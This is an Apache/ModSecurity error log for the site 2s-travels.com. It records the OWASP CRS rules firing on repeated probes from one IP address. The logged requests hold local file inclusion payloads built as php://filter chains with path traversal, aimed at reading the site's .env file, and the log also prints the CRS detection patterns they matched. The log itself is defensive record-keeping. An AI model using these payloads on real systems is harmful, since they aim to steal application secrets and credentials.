[Fri Jul 17 08:55:11.939790 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.940207 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AdAAAAAU"]
[Fri Jul 17 08:55:11.942468 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&source=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&cb=qF8sJvFzZXFDuC8WpwBzM6A1h_0G0Qr2PWnV0muxXUOKyGu7f4kwpY7ODovT-oyv-fGi5XPN5kBxn_ReNDOOrba62NNOGBqsLBKK-QgjpSuOUdwGal4z9h3z8xgvWhNQU0I-1x61xkpDfN0aeNoF0HBPUNjNvnsY8hgjne6vLXLBEycpSs0UK5b4IBwrjVPYKB7POBMQmhkcaZXBLJ5rPLAnoq-FdoAD0eAn93VW9YRzLEQHiazT2ludhpS-6IvbS7dZDdSYKiM1rp7tSNDI4u51&junk=LZF4FK766MPFUHZMX2YOFQ5HA5YPFMD3FMKX3KWJXECGCYQFH..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTgAAAAY"]
[Fri Jul 17 08:55:11.942512 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTgAAAAY"]
[Fri Jul 17 08:55:11.942557 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&cb=qF8sJvFzZXFDuC8WpwBzM6A1h_0G0Qr2PWnV0muxXUOKyGu7f4kwpY7ODovT-oyv-fGi5XPN5kBxn_ReNDOOrba62NNOGBqsLBKK-QgjpSuOUdwGal4z9h3z8xgvWhNQU0I-1x61xkpDfN0aeNoF0HBPUNjNvnsY8hgjne6vLXLBEycpSs0UK5b4IBwrjVPYKB7POBMQmhkcaZXBLJ5rPLAnoq-FdoAD0eAn93VW9YRzLEQHiazT2ludhpS-6IvbS7dZDdSYKiM1rp7tSNDI4u51&junk=LZF4FK766MPFUHZMX2YOFQ5HA5YPFMD3FMKX3KWJXECGCYQFHTXLFD5GYQILCWDD7FFRYERDYUN..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTgAAAAY"]
[Fri Jul 17 08:55:11.942600 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&cb=qf8sjvfzzxfduc8wpwbzm6a1h_0g0qr2pwnv0muxxuokygu7f4kwpy7odovt-oyv-fgi5xpn5kbxn_rendoorba62nnogbqslbkk-qgjpsuoudwgal4z9h3z8xgvwhnqu0i-1x61xkpdfn0aenof0hbpunjnvnsy8hgjne6vlxlbeycpss0uk5b4ibwrjvpykb7pobmqmhkcazxblj5rplanoq-fdoad0ean93vw9yrzleqhiazt2ludhps-6ivbs7dzddsykim1rp7tsndi4u51&junk=lzf4fk766mpfuhzmx2yofq5ha5ypfmd3fmkx3kwjxecgcyqfhtxlfd5gyqilcwdd7ffryerdyun..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTgAAAAY"]
[Fri Jul 17 08:55:11.942666 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTgAAAAY"]
[Fri Jul 17 08:55:11.942692 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTgAAAAY"]
[Fri Jul 17 08:55:11.943013 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTgAAAAY"]
[Fri Jul 17 08:55:11.944070 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTgAAAAY"]
[Fri Jul 17 08:55:11.944209 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.944513 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBTgAAAAY"]
[Fri Jul 17 08:55:11.947883 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&source=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ts=u9zhNsci3Udxt16uXzgsD59t8mO_6EI9OWJxCNI1LN_Bc-lzWPESjBQ9tHgs6Yxis3UMckkuDXg-c9QULIxF6JTXf8pw25I2xjyxL7cXaIwipkqdiE-02sXQmhDZ9asY29p8yx14zXUt430dPQF00-MgWtU1DZRbDvzhVSHYew5F_tLwL3wgF80rvznIBzxpX0i5Vbtml1Jw_2pS9oKaAp0VQQidhTH0GOKSMHCd1bRcN2ms8WT_PvLzKFUuoO0MQkZ7ziQjS0Qa3A5WAEBAjuXC&junk=66PP36N5TF55CAOWLPFKKMVAPHLBTF4BMR25E3J4BMSA..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKAAAABQ"]
[Fri Jul 17 08:55:11.947929 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKAAAABQ"]
[Fri Jul 17 08:55:11.947989 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&ts=u9zhNsci3Udxt16uXzgsD59t8mO_6EI9OWJxCNI1LN_Bc-lzWPESjBQ9tHgs6Yxis3UMckkuDXg-c9QULIxF6JTXf8pw25I2xjyxL7cXaIwipkqdiE-02sXQmhDZ9asY29p8yx14zXUt430dPQF00-MgWtU1DZRbDvzhVSHYew5F_tLwL3wgF80rvznIBzxpX0i5Vbtml1Jw_2pS9oKaAp0VQQidhTH0GOKSMHCd1bRcN2ms8WT_PvLzKFUuoO0MQkZ7ziQjS0Qa3A5WAEBAjuXC&junk=66PP36N5TF55CAOWLPFKKMVAPHLBTF4BMR25E3J4BMSAZ3RLWBFNGLQBCE6LONKH54MWUHMG..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKAAAABQ"]
[Fri Jul 17 08:55:11.948031 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&ts=u9zhnsci3udxt16uxzgsd59t8mo_6ei9owjxcni1ln_bc-lzwpesjbq9thgs6yxis3umckkudxg-c9qulixf6jtxf8pw25i2xjyxl7cxaiwipkqdie-02sxqmhdz9asy29p8yx14zxut430dpqf00-mgwtu1dzrbdvzhvshyew5f_tlwl3wgf80rvznibzxpx0i5vbtml1jw_2ps9okaap0vqqidhth0goksmhcd1brcn2ms8wt_pvlzkfuuoo0mqkz7ziqjs0qa3a5waebajuxc&junk=66pp36n5tf55caowlpfkkmvaphlbtf4bmr25e3j4bmsaz3rlwbfnglqbce6lonkh54mwuhmg..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKAAAABQ"]
[Fri Jul 17 08:55:11.948096 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKAAAABQ"]
[Fri Jul 17 08:55:11.948124 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKAAAABQ"]
[Fri Jul 17 08:55:11.948477 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKAAAABQ"]
[Fri Jul 17 08:55:11.949535 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sKAAAABQ"]
[Fri Jul 17 08:55:11.949671 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.950015 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sKAAAABQ"]
[Fri Jul 17 08:55:11.953084 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&source=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&junk=phn5G9UP5667uPaT4WonGCwy0Jc6Ere7m3QmBJGOGuVUYCVgSCj4MepqIiGB07EBsf5L36_TsvEHOEgBl7JiQBjMH5JyQHZMfghhBIiC2aIOg8rM-IbiWPljB5k3YdadtyeflAZc8O4WtO0RTRn8GNpgzaSq-_Xym0fznww89DWViSpJOVoZ19GN80w0N0HSs4pT_MJSRtbH80_ne5PJF66R9NEsXKcW7MjkWqZON0DVpNUrwAXZg7lyoSDZysWgYAdNFStOyU62KjXUZh_b5IxS&anything=FWAACLDZ7VNFSV4JFZJC6SLRZYPLACLAU2REUKEOOHE2FPONG4GXOR3ZKKHF..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSfAAAAB4"]
[Fri Jul 17 08:55:11.953131 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSfAAAAB4"]
[Fri Jul 17 08:55:11.953178 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&junk=phn5G9UP5667uPaT4WonGCwy0Jc6Ere7m3QmBJGOGuVUYCVgSCj4MepqIiGB07EBsf5L36_TsvEHOEgBl7JiQBjMH5JyQHZMfghhBIiC2aIOg8rM-IbiWPljB5k3YdadtyeflAZc8O4WtO0RTRn8GNpgzaSq-_Xym0fznww89DWViSpJOVoZ19GN80w0N0HSs4pT_MJSRtbH80_ne5PJF66R9NEsXKcW7MjkWqZON0DVpNUrwAXZg7lyoSDZysWgYAdNFStOyU62KjXUZh_b5IxS&anything=FWAACLDZ7VNFSV4JFZJC6SLRZYPLACLAU2REUKEOOHE2FPONG4GXOR3ZKKHFY22OF6JRQNSQJPUMWJ7DY5E2K4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSfAAAAB4"]
[Fri Jul 17 08:55:11.953216 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&junk=phn5g9up5667upat4wongcwy0jc6ere7m3qmbjgoguvuycvgscj4mepqiigb07ebsf5l36_tsvehoegbl7jiqbjmh5jyqhzmfghhbiic2aiog8rm-ibiwpljb5k3ydadtyeflazc8o4wto0rtrn8gnpgzasq-_xym0fznww89dwvispjovoz19gn80w0n0hss4pt_mjsrtbh80_ne5pjf66r9nesxkcw7mjkwqzon0dvpnurwaxzg7lyosdzyswgyadnfstoyu62kjxuzh_b5ixs&anything=fwaacldz7vnfsv4jfzjc6slrzyplaclau2reukeoohe2fpong4gxor3zkkhfy22of6jrqnsqjpumwj7dy5e2k4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSfAAAAB4"]
